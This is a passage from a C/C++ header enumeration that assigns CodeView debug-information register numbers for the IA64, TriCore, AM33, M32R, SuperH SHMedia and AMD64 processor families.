3086, CV_IA64_AR15 = 3087, CV_IA64_RsRSC = 3088, CV_IA64_RsBSP = 3089, CV_IA64_RsBSPSTORE = 3090, CV_IA64_RsRNAT = 3091, CV_IA64_AR20 = 3092, CV_IA64_StFCR = 3093, CV_IA64_AR22 = 3094, CV_IA64_AR23 = 3095, CV_IA64_EFLAG = 3096, CV_IA64_CSD = 3097, CV_IA64_SSD = 3098, CV_IA64_CFLG = 3099, CV_IA64_StFSR = 3100, CV_IA64_StFIR = 3101, CV_IA64_StFDR = 3102, CV_IA64_AR31 = 3103, CV_IA64_ApCCV = 3104, CV_IA64_AR33 = 3105, CV_IA64_AR34 = 3106, CV_IA64_AR35 = 3107, CV_IA64_ApUNAT = 3108, CV_IA64_AR37 = 3109, CV_IA64_AR38 = 3110, CV_IA64_AR39 = 3111, CV_IA64_StFPSR = 3112, CV_IA64_AR41 = 3113, CV_IA64_AR42 = 3114, CV_IA64_AR43 = 3115, CV_IA64_ApITC = 3116, CV_IA64_AR45 = 3117, CV_IA64_AR46 = 3118, CV_IA64_AR47 = 3119, CV_IA64_AR48 = 3120, CV_IA64_AR49 = 3121, CV_IA64_AR50 = 3122, CV_IA64_AR51 = 3123, CV_IA64_AR52 = 3124, CV_IA64_AR53 = 3125, CV_IA64_AR54 = 3126, CV_IA64_AR55 = 3127, CV_IA64_AR56 = 3128, CV_IA64_AR57 = 3129, CV_IA64_AR58 = 3130, CV_IA64_AR59 = 3131, CV_IA64_AR60 = 3132, CV_IA64_AR61 = 3133, CV_IA64_AR62 = 3134, CV_IA64_AR63 = 3135, CV_IA64_RsPFS = 3136, CV_IA64_ApLC = 3137, CV_IA64_ApEC = 3138, CV_IA64_AR67 = 3139, CV_IA64_AR68 = 3140, CV_IA64_AR69 = 3141, CV_IA64_AR70 = 3142, CV_IA64_AR71 = 3143, CV_IA64_AR72 = 3144, CV_IA64_AR73 = 3145, CV_IA64_AR74 = 3146, CV_IA64_AR75 = 3147, CV_IA64_AR76 = 3148, CV_IA64_AR77 = 3149, CV_IA64_AR78 = 3150, CV_IA64_AR79 = 3151, CV_IA64_AR80 = 3152, CV_IA64_AR81 = 3153, CV_IA64_AR82 = 3154, CV_IA64_AR83 = 3155, CV_IA64_AR84 = 3156, CV_IA64_AR85 = 3157, CV_IA64_AR86 = 3158, CV_IA64_AR87 = 3159, CV_IA64_AR88 = 3160, CV_IA64_AR89 = 3161, CV_IA64_AR90 = 3162, CV_IA64_AR91 = 3163, CV_IA64_AR92 = 3164, CV_IA64_AR93 = 3165, CV_IA64_AR94 = 3166, CV_IA64_AR95 = 3167, CV_IA64_AR96 = 3168, CV_IA64_AR97 = 3169, CV_IA64_AR98 = 3170, CV_IA64_AR99 = 3171, CV_IA64_AR100 = 3172, CV_IA64_AR101 = 3173, CV_IA64_AR102 = 3174, CV_IA64_AR103 = 3175, CV_IA64_AR104 = 3176, CV_IA64_AR105 = 3177, CV_IA64_AR106 = 3178, CV_IA64_AR107 = 3179, CV_IA64_AR108 = 3180, CV_IA64_AR109 = 3181, CV_IA64_AR110 = 3182, CV_IA64_AR111 = 3183, CV_IA64_AR112 = 3184, CV_IA64_AR113 = 3185, CV_IA64_AR114 = 3186, CV_IA64_AR115 = 3187, CV_IA64_AR116 = 3188, CV_IA64_AR117 = 3189, CV_IA64_AR118 = 3190, CV_IA64_AR119 = 3191, CV_IA64_AR120 = 3192, CV_IA64_AR121 = 3193, CV_IA64_AR122 = 3194, CV_IA64_AR123 = 3195, CV_IA64_AR124 = 3196, CV_IA64_AR125 = 3197, CV_IA64_AR126 = 3198, CV_IA64_AR127 = 3199, // CPUID Registers CV_IA64_CPUID0 = 3328, CV_IA64_CPUID1 = 3329, CV_IA64_CPUID2 = 3330, CV_IA64_CPUID3 = 3331, CV_IA64_CPUID4 = 3332, // Control Registers CV_IA64_ApDCR = 4096, CV_IA64_ApITM = 4097, CV_IA64_ApIVA = 4098, CV_IA64_CR3 = 4099, CV_IA64_CR4 = 4100, CV_IA64_CR5 = 4101, CV_IA64_CR6 = 4102, CV_IA64_CR7 = 4103, CV_IA64_ApPTA = 4104, CV_IA64_ApGPTA = 4105, CV_IA64_CR10 = 4106, CV_IA64_CR11 = 4107, CV_IA64_CR12 = 4108, CV_IA64_CR13 = 4109, CV_IA64_CR14 = 4110, CV_IA64_CR15 = 4111, CV_IA64_StIPSR = 4112, CV_IA64_StISR = 4113, CV_IA64_CR18 = 4114, CV_IA64_StIIP = 4115, CV_IA64_StIFA = 4116, CV_IA64_StITIR = 4117, CV_IA64_StIIPA = 4118, CV_IA64_StIFS = 4119, CV_IA64_StIIM = 4120, CV_IA64_StIHA = 4121, CV_IA64_CR26 = 4122, CV_IA64_CR27 = 4123, CV_IA64_CR28 = 4124, CV_IA64_CR29 = 4125, CV_IA64_CR30 = 4126, CV_IA64_CR31 = 4127, CV_IA64_CR32 = 4128, CV_IA64_CR33 = 4129, CV_IA64_CR34 = 4130, CV_IA64_CR35 = 4131, CV_IA64_CR36 = 4132, CV_IA64_CR37 = 4133, CV_IA64_CR38 = 4134, CV_IA64_CR39 = 4135, CV_IA64_CR40 = 4136, CV_IA64_CR41 = 4137, CV_IA64_CR42 = 4138, CV_IA64_CR43 = 4139, CV_IA64_CR44 = 4140, CV_IA64_CR45 = 4141, CV_IA64_CR46 = 4142, CV_IA64_CR47 = 4143, CV_IA64_CR48 = 4144, CV_IA64_CR49 = 4145, CV_IA64_CR50 = 4146, CV_IA64_CR51 = 4147, CV_IA64_CR52 = 4148, CV_IA64_CR53 = 4149, CV_IA64_CR54 = 4150, CV_IA64_CR55 = 4151, CV_IA64_CR56 = 4152, CV_IA64_CR57 = 4153, CV_IA64_CR58 = 4154, CV_IA64_CR59 = 4155, CV_IA64_CR60 = 4156, CV_IA64_CR61 = 4157, CV_IA64_CR62 = 4158, CV_IA64_CR63 = 4159, CV_IA64_SaLID = 4160, CV_IA64_SaIVR = 4161, CV_IA64_SaTPR = 4162, CV_IA64_SaEOI = 4163, CV_IA64_SaIRR0 = 4164, CV_IA64_SaIRR1 = 4165, CV_IA64_SaIRR2 = 4166, CV_IA64_SaIRR3 = 4167, CV_IA64_SaITV = 4168, CV_IA64_SaPMV = 4169, CV_IA64_SaCMCV = 4170, CV_IA64_CR75 = 4171, CV_IA64_CR76 = 4172, CV_IA64_CR77 = 4173, CV_IA64_CR78 = 4174, CV_IA64_CR79 = 4175, CV_IA64_SaLRR0 = 4176, CV_IA64_SaLRR1 = 4177, CV_IA64_CR82 = 4178, CV_IA64_CR83 = 4179, CV_IA64_CR84 = 4180, CV_IA64_CR85 = 4181, CV_IA64_CR86 = 4182, CV_IA64_CR87 = 4183, CV_IA64_CR88 = 4184, CV_IA64_CR89 = 4185, CV_IA64_CR90 = 4186, CV_IA64_CR91 = 4187, CV_IA64_CR92 = 4188, CV_IA64_CR93 = 4189, CV_IA64_CR94 = 4190, CV_IA64_CR95 = 4191, CV_IA64_CR96 = 4192, CV_IA64_CR97 = 4193, CV_IA64_CR98 = 4194, CV_IA64_CR99 = 4195, CV_IA64_CR100 = 4196, CV_IA64_CR101 = 4197, CV_IA64_CR102 = 4198, CV_IA64_CR103 = 4199, CV_IA64_CR104 = 4200, CV_IA64_CR105 = 4201, CV_IA64_CR106 = 4202, CV_IA64_CR107 = 4203, CV_IA64_CR108 = 4204, CV_IA64_CR109 = 4205, CV_IA64_CR110 = 4206, CV_IA64_CR111 = 4207, CV_IA64_CR112 = 4208, CV_IA64_CR113 = 4209, CV_IA64_CR114 = 4210, CV_IA64_CR115 = 4211, CV_IA64_CR116 = 4212, CV_IA64_CR117 = 4213, CV_IA64_CR118 = 4214, CV_IA64_CR119 = 4215, CV_IA64_CR120 = 4216, CV_IA64_CR121 = 4217, CV_IA64_CR122 = 4218, CV_IA64_CR123 = 4219, CV_IA64_CR124 = 4220, CV_IA64_CR125 = 4221, CV_IA64_CR126 = 4222, CV_IA64_CR127 = 4223, // Protection Key Registers CV_IA64_Pkr0 = 5120, CV_IA64_Pkr1 = 5121, CV_IA64_Pkr2 = 5122, CV_IA64_Pkr3 = 5123, CV_IA64_Pkr4 = 5124, CV_IA64_Pkr5 = 5125, CV_IA64_Pkr6 = 5126, CV_IA64_Pkr7 = 5127, CV_IA64_Pkr8 = 5128, CV_IA64_Pkr9 = 5129, CV_IA64_Pkr10 = 5130, CV_IA64_Pkr11 = 5131, CV_IA64_Pkr12 = 5132, CV_IA64_Pkr13 = 5133, CV_IA64_Pkr14 = 5134, CV_IA64_Pkr15 = 5135, // Region Registers CV_IA64_Rr0 = 6144, CV_IA64_Rr1 = 6145, CV_IA64_Rr2 = 6146, CV_IA64_Rr3 = 6147, CV_IA64_Rr4 = 6148, CV_IA64_Rr5 = 6149, CV_IA64_Rr6 = 6150, CV_IA64_Rr7 = 6151, // Performance Monitor Data Registers CV_IA64_PFD0 = 7168, CV_IA64_PFD1 = 7169, CV_IA64_PFD2 = 7170, CV_IA64_PFD3 = 7171, CV_IA64_PFD4 = 7172, CV_IA64_PFD5 = 7173, CV_IA64_PFD6 = 7174, CV_IA64_PFD7 = 7175, CV_IA64_PFD8 = 7176, CV_IA64_PFD9 = 7177, CV_IA64_PFD10 = 7178, CV_IA64_PFD11 = 7179, CV_IA64_PFD12 = 7180, CV_IA64_PFD13 = 7181, CV_IA64_PFD14 = 7182, CV_IA64_PFD15 = 7183, CV_IA64_PFD16 = 7184, CV_IA64_PFD17 = 7185, // Performance Monitor Config Registers CV_IA64_PFC0 = 7424, CV_IA64_PFC1 = 7425, CV_IA64_PFC2 = 7426, CV_IA64_PFC3 = 7427, CV_IA64_PFC4 = 7428, CV_IA64_PFC5 = 7429, CV_IA64_PFC6 = 7430, CV_IA64_PFC7 = 7431, CV_IA64_PFC8 = 7432, CV_IA64_PFC9 = 7433, CV_IA64_PFC10 = 7434, CV_IA64_PFC11 = 7435, CV_IA64_PFC12 = 7436, CV_IA64_PFC13 = 7437, CV_IA64_PFC14 = 7438, CV_IA64_PFC15 = 7439, // Instruction Translation Registers CV_IA64_TrI0 = 8192, CV_IA64_TrI1 = 8193, CV_IA64_TrI2 = 8194, CV_IA64_TrI3 = 8195, CV_IA64_TrI4 = 8196, CV_IA64_TrI5 = 8197, CV_IA64_TrI6 = 8198, CV_IA64_TrI7 = 8199, // Data Translation Registers CV_IA64_TrD0 = 8320, CV_IA64_TrD1 = 8321, CV_IA64_TrD2 = 8322, CV_IA64_TrD3 = 8323, CV_IA64_TrD4 = 8324, CV_IA64_TrD5 = 8325, CV_IA64_TrD6 = 8326, CV_IA64_TrD7 = 8327, // Instruction Breakpoint Registers CV_IA64_DbI0 = 8448, CV_IA64_DbI1 = 8449, CV_IA64_DbI2 = 8450, CV_IA64_DbI3 = 8451, CV_IA64_DbI4 = 8452, CV_IA64_DbI5 = 8453, CV_IA64_DbI6 = 8454, CV_IA64_DbI7 = 8455, // Data Breakpoint Registers CV_IA64_DbD0 = 8576, CV_IA64_DbD1 = 8577, CV_IA64_DbD2 = 8578, CV_IA64_DbD3 = 8579, CV_IA64_DbD4 = 8580, CV_IA64_DbD5 = 8581, CV_IA64_DbD6 = 8582, CV_IA64_DbD7 = 8583, // // Register set for the TriCore processor. // CV_TRI_NOREG = CV_REG_NONE, // General Purpose Data Registers CV_TRI_D0 = 10, CV_TRI_D1 = 11, CV_TRI_D2 = 12, CV_TRI_D3 = 13, CV_TRI_D4 = 14, CV_TRI_D5 = 15, CV_TRI_D6 = 16, CV_TRI_D7 = 17, CV_TRI_D8 = 18, CV_TRI_D9 = 19, CV_TRI_D10 = 20, CV_TRI_D11 = 21, CV_TRI_D12 = 22, CV_TRI_D13 = 23, CV_TRI_D14 = 24, CV_TRI_D15 = 25, // General Purpose Address Registers CV_TRI_A0 = 26, CV_TRI_A1 = 27, CV_TRI_A2 = 28, CV_TRI_A3 = 29, CV_TRI_A4 = 30, CV_TRI_A5 = 31, CV_TRI_A6 = 32, CV_TRI_A7 = 33, CV_TRI_A8 = 34, CV_TRI_A9 = 35, CV_TRI_A10 = 36, CV_TRI_A11 = 37, CV_TRI_A12 = 38, CV_TRI_A13 = 39, CV_TRI_A14 = 40, CV_TRI_A15 = 41, // Extended (64-bit) data registers CV_TRI_E0 = 42, CV_TRI_E2 = 43, CV_TRI_E4 = 44, CV_TRI_E6 = 45, CV_TRI_E8 = 46, CV_TRI_E10 = 47, CV_TRI_E12 = 48, CV_TRI_E14 = 49, // Extended (64-bit) address registers CV_TRI_EA0 = 50, CV_TRI_EA2 = 51, CV_TRI_EA4 = 52, CV_TRI_EA6 = 53, CV_TRI_EA8 = 54, CV_TRI_EA10 = 55, CV_TRI_EA12 = 56, CV_TRI_EA14 = 57, CV_TRI_PSW = 58, CV_TRI_PCXI = 59, CV_TRI_PC = 60, CV_TRI_FCX = 61, CV_TRI_LCX = 62, CV_TRI_ISP = 63, CV_TRI_ICR = 64, CV_TRI_BIV = 65, CV_TRI_BTV = 66, CV_TRI_SYSCON = 67, CV_TRI_DPRx_0 = 68, CV_TRI_DPRx_1 = 69, CV_TRI_DPRx_2 = 70, CV_TRI_DPRx_3 = 71, CV_TRI_CPRx_0 = 68, CV_TRI_CPRx_1 = 69, CV_TRI_CPRx_2 = 70, CV_TRI_CPRx_3 = 71, CV_TRI_DPMx_0 = 68, CV_TRI_DPMx_1 = 69, CV_TRI_DPMx_2 = 70, CV_TRI_DPMx_3 = 71, CV_TRI_CPMx_0 = 68, CV_TRI_CPMx_1 = 69, CV_TRI_CPMx_2 = 70, CV_TRI_CPMx_3 = 71, CV_TRI_DBGSSR = 72, CV_TRI_EXEVT = 73, CV_TRI_SWEVT = 74, CV_TRI_CREVT = 75, CV_TRI_TRnEVT = 76, CV_TRI_MMUCON = 77, CV_TRI_ASI = 78, CV_TRI_TVA = 79, CV_TRI_TPA = 80, CV_TRI_TPX = 81, CV_TRI_TFA = 82, // // Register set for the AM33 and related processors. // CV_AM33_NOREG = CV_REG_NONE, // "Extended" (general purpose integer) registers CV_AM33_E0 = 10, CV_AM33_E1 = 11, CV_AM33_E2 = 12, CV_AM33_E3 = 13, CV_AM33_E4 = 14, CV_AM33_E5 = 15, CV_AM33_E6 = 16, CV_AM33_E7 = 17, // Address registers CV_AM33_A0 = 20, CV_AM33_A1 = 21, CV_AM33_A2 = 22, CV_AM33_A3 = 23, // Integer data registers CV_AM33_D0 = 30, CV_AM33_D1 = 31, CV_AM33_D2 = 32, CV_AM33_D3 = 33, // (Single-precision) floating-point registers CV_AM33_FS0 = 40, CV_AM33_FS1 = 41, CV_AM33_FS2 = 42, CV_AM33_FS3 = 43, CV_AM33_FS4 = 44, CV_AM33_FS5 = 45, CV_AM33_FS6 = 46, CV_AM33_FS7 = 47, CV_AM33_FS8 = 48, CV_AM33_FS9 = 49, CV_AM33_FS10 = 50, CV_AM33_FS11 = 51, CV_AM33_FS12 = 52, CV_AM33_FS13 = 53, CV_AM33_FS14 = 54, CV_AM33_FS15 = 55, CV_AM33_FS16 = 56, CV_AM33_FS17 = 57, CV_AM33_FS18 = 58, CV_AM33_FS19 = 59, CV_AM33_FS20 = 60, CV_AM33_FS21 = 61, CV_AM33_FS22 = 62, CV_AM33_FS23 = 63, CV_AM33_FS24 = 64, CV_AM33_FS25 = 65, CV_AM33_FS26 = 66, CV_AM33_FS27 = 67, CV_AM33_FS28 = 68, CV_AM33_FS29 = 69, CV_AM33_FS30 = 70, CV_AM33_FS31 = 71, // Special purpose registers // Stack pointer CV_AM33_SP = 80, // Program counter CV_AM33_PC = 81, // Multiply-divide/accumulate registers CV_AM33_MDR = 82, CV_AM33_MDRQ = 83, CV_AM33_MCRH = 84, CV_AM33_MCRL = 85, CV_AM33_MCVF = 86, // CPU status words CV_AM33_EPSW = 87, CV_AM33_FPCR = 88, // Loop buffer registers CV_AM33_LIR = 89, CV_AM33_LAR = 90, // // Register set for the Mitsubishi M32R // CV_M32R_NOREG = CV_REG_NONE, CV_M32R_R0 = 10, CV_M32R_R1 = 11, CV_M32R_R2 = 12, CV_M32R_R3 = 13, CV_M32R_R4 = 14, CV_M32R_R5 = 15, CV_M32R_R6 = 16, CV_M32R_R7 = 17, CV_M32R_R8 = 18, CV_M32R_R9 = 19, CV_M32R_R10 = 20, CV_M32R_R11 = 21, CV_M32R_R12 = 22, // Gloabal Pointer, if used CV_M32R_R13 = 23, // Frame Pointer, if allocated CV_M32R_R14 = 24, // Link Register CV_M32R_R15 = 25, // Stack Pointer CV_M32R_PSW = 26, // Preocessor Status Register CV_M32R_CBR = 27, // Condition Bit Register CV_M32R_SPI = 28, // Interrupt Stack Pointer CV_M32R_SPU = 29, // User Stack Pointer CV_M32R_SPO = 30, // OS Stack Pointer CV_M32R_BPC = 31, // Backup Program Counter CV_M32R_ACHI = 32, // Accumulator High CV_M32R_ACLO = 33, // Accumulator Low CV_M32R_PC = 34, // Program Counter // // Register set for the SuperH SHMedia processor including compact // mode // // Integer - 64 bit general registers CV_SHMEDIA_NOREG = CV_REG_NONE, CV_SHMEDIA_R0 = 10, CV_SHMEDIA_R1 = 11, CV_SHMEDIA_R2 = 12, CV_SHMEDIA_R3 = 13, CV_SHMEDIA_R4 = 14, CV_SHMEDIA_R5 = 15, CV_SHMEDIA_R6 = 16, CV_SHMEDIA_R7 = 17, CV_SHMEDIA_R8 = 18, CV_SHMEDIA_R9 = 19, CV_SHMEDIA_R10 = 20, CV_SHMEDIA_R11 = 21, CV_SHMEDIA_R12 = 22, CV_SHMEDIA_R13 = 23, CV_SHMEDIA_R14 = 24, CV_SHMEDIA_R15 = 25, CV_SHMEDIA_R16 = 26, CV_SHMEDIA_R17 = 27, CV_SHMEDIA_R18 = 28, CV_SHMEDIA_R19 = 29, CV_SHMEDIA_R20 = 30, CV_SHMEDIA_R21 = 31, CV_SHMEDIA_R22 = 32, CV_SHMEDIA_R23 = 33, CV_SHMEDIA_R24 = 34, CV_SHMEDIA_R25 = 35, CV_SHMEDIA_R26 = 36, CV_SHMEDIA_R27 = 37, CV_SHMEDIA_R28 = 38, CV_SHMEDIA_R29 = 39, CV_SHMEDIA_R30 = 40, CV_SHMEDIA_R31 = 41, CV_SHMEDIA_R32 = 42, CV_SHMEDIA_R33 = 43, CV_SHMEDIA_R34 = 44, CV_SHMEDIA_R35 = 45, CV_SHMEDIA_R36 = 46, CV_SHMEDIA_R37 = 47, CV_SHMEDIA_R38 = 48, CV_SHMEDIA_R39 = 49, CV_SHMEDIA_R40 = 50, CV_SHMEDIA_R41 = 51, CV_SHMEDIA_R42 = 52, CV_SHMEDIA_R43 = 53, CV_SHMEDIA_R44 = 54, CV_SHMEDIA_R45 = 55, CV_SHMEDIA_R46 = 56, CV_SHMEDIA_R47 = 57, CV_SHMEDIA_R48 = 58, CV_SHMEDIA_R49 = 59, CV_SHMEDIA_R50 = 60, CV_SHMEDIA_R51 = 61, CV_SHMEDIA_R52 = 62, CV_SHMEDIA_R53 = 63, CV_SHMEDIA_R54 = 64, CV_SHMEDIA_R55 = 65, CV_SHMEDIA_R56 = 66, CV_SHMEDIA_R57 = 67, CV_SHMEDIA_R58 = 68, CV_SHMEDIA_R59 = 69, CV_SHMEDIA_R60 = 70, CV_SHMEDIA_R61 = 71, CV_SHMEDIA_R62 = 72, CV_SHMEDIA_R63 = 73, // Target Registers - 32 bit CV_SHMEDIA_TR0 = 74, CV_SHMEDIA_TR1 = 75, CV_SHMEDIA_TR2 = 76, CV_SHMEDIA_TR3 = 77, CV_SHMEDIA_TR4 = 78, CV_SHMEDIA_TR5 = 79, CV_SHMEDIA_TR6 = 80, CV_SHMEDIA_TR7 = 81, CV_SHMEDIA_TR8 = 82, // future-proof CV_SHMEDIA_TR9 = 83, // future-proof CV_SHMEDIA_TR10 = 84, // future-proof CV_SHMEDIA_TR11 = 85, // future-proof CV_SHMEDIA_TR12 = 86, // future-proof CV_SHMEDIA_TR13 = 87, // future-proof CV_SHMEDIA_TR14 = 88, // future-proof CV_SHMEDIA_TR15 = 89, // future-proof // Single - 32 bit fp registers CV_SHMEDIA_FR0 = 128, CV_SHMEDIA_FR1 = 129, CV_SHMEDIA_FR2 = 130, CV_SHMEDIA_FR3 = 131, CV_SHMEDIA_FR4 = 132, CV_SHMEDIA_FR5 = 133, CV_SHMEDIA_FR6 = 134, CV_SHMEDIA_FR7 = 135, CV_SHMEDIA_FR8 = 136, CV_SHMEDIA_FR9 = 137, CV_SHMEDIA_FR10 = 138, CV_SHMEDIA_FR11 = 139, CV_SHMEDIA_FR12 = 140, CV_SHMEDIA_FR13 = 141, CV_SHMEDIA_FR14 = 142, CV_SHMEDIA_FR15 = 143, CV_SHMEDIA_FR16 = 144, CV_SHMEDIA_FR17 = 145, CV_SHMEDIA_FR18 = 146, CV_SHMEDIA_FR19 = 147, CV_SHMEDIA_FR20 = 148, CV_SHMEDIA_FR21 = 149, CV_SHMEDIA_FR22 = 150, CV_SHMEDIA_FR23 = 151, CV_SHMEDIA_FR24 = 152, CV_SHMEDIA_FR25 = 153, CV_SHMEDIA_FR26 = 154, CV_SHMEDIA_FR27 = 155, CV_SHMEDIA_FR28 = 156, CV_SHMEDIA_FR29 = 157, CV_SHMEDIA_FR30 = 158, CV_SHMEDIA_FR31 = 159, CV_SHMEDIA_FR32 = 160, CV_SHMEDIA_FR33 = 161, CV_SHMEDIA_FR34 = 162, CV_SHMEDIA_FR35 = 163, CV_SHMEDIA_FR36 = 164, CV_SHMEDIA_FR37 = 165, CV_SHMEDIA_FR38 = 166, CV_SHMEDIA_FR39 = 167, CV_SHMEDIA_FR40 = 168, CV_SHMEDIA_FR41 = 169, CV_SHMEDIA_FR42 = 170, CV_SHMEDIA_FR43 = 171, CV_SHMEDIA_FR44 = 172, CV_SHMEDIA_FR45 = 173, CV_SHMEDIA_FR46 = 174, CV_SHMEDIA_FR47 = 175, CV_SHMEDIA_FR48 = 176, CV_SHMEDIA_FR49 = 177, CV_SHMEDIA_FR50 = 178, CV_SHMEDIA_FR51 = 179, CV_SHMEDIA_FR52 = 180, CV_SHMEDIA_FR53 = 181, CV_SHMEDIA_FR54 = 182, CV_SHMEDIA_FR55 = 183, CV_SHMEDIA_FR56 = 184, CV_SHMEDIA_FR57 = 185, CV_SHMEDIA_FR58 = 186, CV_SHMEDIA_FR59 = 187, CV_SHMEDIA_FR60 = 188, CV_SHMEDIA_FR61 = 189, CV_SHMEDIA_FR62 = 190, CV_SHMEDIA_FR63 = 191, // Double - 64 bit synonyms for 32bit fp register pairs // subtract 128 to find first base single register CV_SHMEDIA_DR0 = 256, CV_SHMEDIA_DR2 = 258, CV_SHMEDIA_DR4 = 260, CV_SHMEDIA_DR6 = 262, CV_SHMEDIA_DR8 = 264, CV_SHMEDIA_DR10 = 266, CV_SHMEDIA_DR12 = 268, CV_SHMEDIA_DR14 = 270, CV_SHMEDIA_DR16 = 272, CV_SHMEDIA_DR18 = 274, CV_SHMEDIA_DR20 = 276, CV_SHMEDIA_DR22 = 278, CV_SHMEDIA_DR24 = 280, CV_SHMEDIA_DR26 = 282, CV_SHMEDIA_DR28 = 284, CV_SHMEDIA_DR30 = 286, CV_SHMEDIA_DR32 = 288, CV_SHMEDIA_DR34 = 290, CV_SHMEDIA_DR36 = 292, CV_SHMEDIA_DR38 = 294, CV_SHMEDIA_DR40 = 296, CV_SHMEDIA_DR42 = 298, CV_SHMEDIA_DR44 = 300, CV_SHMEDIA_DR46 = 302, CV_SHMEDIA_DR48 = 304, CV_SHMEDIA_DR50 = 306, CV_SHMEDIA_DR52 = 308, CV_SHMEDIA_DR54 = 310, CV_SHMEDIA_DR56 = 312, CV_SHMEDIA_DR58 = 314, CV_SHMEDIA_DR60 = 316, CV_SHMEDIA_DR62 = 318, // Vector - 128 bit synonyms for 32bit fp register quads // subtract 384 to find first base single register CV_SHMEDIA_FV0 = 512, CV_SHMEDIA_FV4 = 516, CV_SHMEDIA_FV8 = 520, CV_SHMEDIA_FV12 = 524, CV_SHMEDIA_FV16 = 528, CV_SHMEDIA_FV20 = 532, CV_SHMEDIA_FV24 = 536, CV_SHMEDIA_FV28 = 540, CV_SHMEDIA_FV32 = 544, CV_SHMEDIA_FV36 = 548, CV_SHMEDIA_FV40 = 552, CV_SHMEDIA_FV44 = 556, CV_SHMEDIA_FV48 = 560, CV_SHMEDIA_FV52 = 564, CV_SHMEDIA_FV56 = 568, CV_SHMEDIA_FV60 = 572, // Matrix - 512 bit synonyms for 16 adjacent 32bit fp registers // subtract 896 to find first base single register CV_SHMEDIA_MTRX0 = 1024, CV_SHMEDIA_MTRX16 = 1040, CV_SHMEDIA_MTRX32 = 1056, CV_SHMEDIA_MTRX48 = 1072, // Control - Implementation defined 64bit control registers CV_SHMEDIA_CR0 = 2000, CV_SHMEDIA_CR1 = 2001, CV_SHMEDIA_CR2 = 2002, CV_SHMEDIA_CR3 = 2003, CV_SHMEDIA_CR4 = 2004, CV_SHMEDIA_CR5 = 2005, CV_SHMEDIA_CR6 = 2006, CV_SHMEDIA_CR7 = 2007, CV_SHMEDIA_CR8 = 2008, CV_SHMEDIA_CR9 = 2009, CV_SHMEDIA_CR10 = 2010, CV_SHMEDIA_CR11 = 2011, CV_SHMEDIA_CR12 = 2012, CV_SHMEDIA_CR13 = 2013, CV_SHMEDIA_CR14 = 2014, CV_SHMEDIA_CR15 = 2015, CV_SHMEDIA_CR16 = 2016, CV_SHMEDIA_CR17 = 2017, CV_SHMEDIA_CR18 = 2018, CV_SHMEDIA_CR19 = 2019, CV_SHMEDIA_CR20 = 2020, CV_SHMEDIA_CR21 = 2021, CV_SHMEDIA_CR22 = 2022, CV_SHMEDIA_CR23 = 2023, CV_SHMEDIA_CR24 = 2024, CV_SHMEDIA_CR25 = 2025, CV_SHMEDIA_CR26 = 2026, CV_SHMEDIA_CR27 = 2027, CV_SHMEDIA_CR28 = 2028, CV_SHMEDIA_CR29 = 2029, CV_SHMEDIA_CR30 = 2030, CV_SHMEDIA_CR31 = 2031, CV_SHMEDIA_CR32 = 2032, CV_SHMEDIA_CR33 = 2033, CV_SHMEDIA_CR34 = 2034, CV_SHMEDIA_CR35 = 2035, CV_SHMEDIA_CR36 = 2036, CV_SHMEDIA_CR37 = 2037, CV_SHMEDIA_CR38 = 2038, CV_SHMEDIA_CR39 = 2039, CV_SHMEDIA_CR40 = 2040, CV_SHMEDIA_CR41 = 2041, CV_SHMEDIA_CR42 = 2042, CV_SHMEDIA_CR43 = 2043, CV_SHMEDIA_CR44 = 2044, CV_SHMEDIA_CR45 = 2045, CV_SHMEDIA_CR46 = 2046, CV_SHMEDIA_CR47 = 2047, CV_SHMEDIA_CR48 = 2048, CV_SHMEDIA_CR49 = 2049, CV_SHMEDIA_CR50 = 2050, CV_SHMEDIA_CR51 = 2051, CV_SHMEDIA_CR52 = 2052, CV_SHMEDIA_CR53 = 2053, CV_SHMEDIA_CR54 = 2054, CV_SHMEDIA_CR55 = 2055, CV_SHMEDIA_CR56 = 2056, CV_SHMEDIA_CR57 = 2057, CV_SHMEDIA_CR58 = 2058, CV_SHMEDIA_CR59 = 2059, CV_SHMEDIA_CR60 = 2060, CV_SHMEDIA_CR61 = 2061, CV_SHMEDIA_CR62 = 2062, CV_SHMEDIA_CR63 = 2063, CV_SHMEDIA_FPSCR = 2064, // Compact mode synonyms CV_SHMEDIA_GBR = CV_SHMEDIA_R16, CV_SHMEDIA_MACL = 90, // synonym for lower 32bits of media R17 CV_SHMEDIA_MACH = 91, // synonym for upper 32bits of media R17 CV_SHMEDIA_PR = CV_SHMEDIA_R18, CV_SHMEDIA_T = 92, // synonym for lowest bit of media R19 CV_SHMEDIA_FPUL = CV_SHMEDIA_FR32, CV_SHMEDIA_PC = 93, CV_SHMEDIA_SR = CV_SHMEDIA_CR0, // // AMD64 registers // CV_AMD64_AL = 1, CV_AMD64_CL = 2, CV_AMD64_DL = 3, CV_AMD64_BL = 4, CV_AMD64_AH = 5, CV_AMD64_CH = 6, CV_AMD64_DH = 7, CV_AMD64_BH = 8, CV_AMD64_AX = 9, CV_AMD64_CX = 10, CV_AMD64_DX = 11, CV_AMD64_BX = 12, CV_AMD64_SP = 13, CV_AMD64_BP = 14, CV_AMD64_SI = 15, CV_AMD64_DI = 16, CV_AMD64_EAX = 17, CV_AMD64_ECX = 18, CV_AMD64_EDX = 19, CV_AMD64_EBX = 20, CV_AMD64_ESP = 21, CV_AMD64_EBP = 22, CV_AMD64_ESI = 23, CV_AMD64_EDI = 24, CV_AMD64_ES = 25, CV_AMD64_CS = 26, CV_AMD64_SS = 27, CV_AMD64_DS = 28, CV_AMD64_FS = 29, CV_AMD64_GS = 30, CV_AMD64_FLAGS = 32, CV_AMD64_RIP = 33, CV_AMD64_EFLAGS = 34, // Control registers CV_AMD64_CR0 = 80, CV_AMD64_CR1 = 81, CV_AMD64_CR2 = 82, CV_AMD64_CR3 = 83, CV_AMD64_CR4 = 84, CV_AMD64_CR8 = 88, // Debug registers CV_AMD64_DR0 = 90, CV_AMD64_DR1 = 91, CV_AMD64_DR2 = 92, CV_AMD64_DR3 = 93, CV_AMD64_DR4 = 94, CV_AMD64_DR5 = 95, CV_AMD64_DR6 = 96, CV_AMD64_DR7 = 97, CV_AMD64_DR8 = 98, CV_AMD64_DR9 = 99, CV_AMD64_DR10 = 100, CV_AMD64_DR11 = 101, CV_AMD64_DR12 = 102, CV_AMD64_DR13 = 103, CV_AMD64_DR14 = 104, CV_AMD64_DR15 = 105, CV_AMD64_GDTR = 110, CV_AMD64_GDTL = 111, CV_AMD64_IDTR = 112, CV_AMD64_IDTL = 113, CV_AMD64_LDTR = 114, CV_AMD64_TR = 115, CV_AMD64_ST0 = 128, CV_AMD64_ST1 = 129, CV_AMD64_ST2 = 130, CV_AMD64_ST3 = 131, 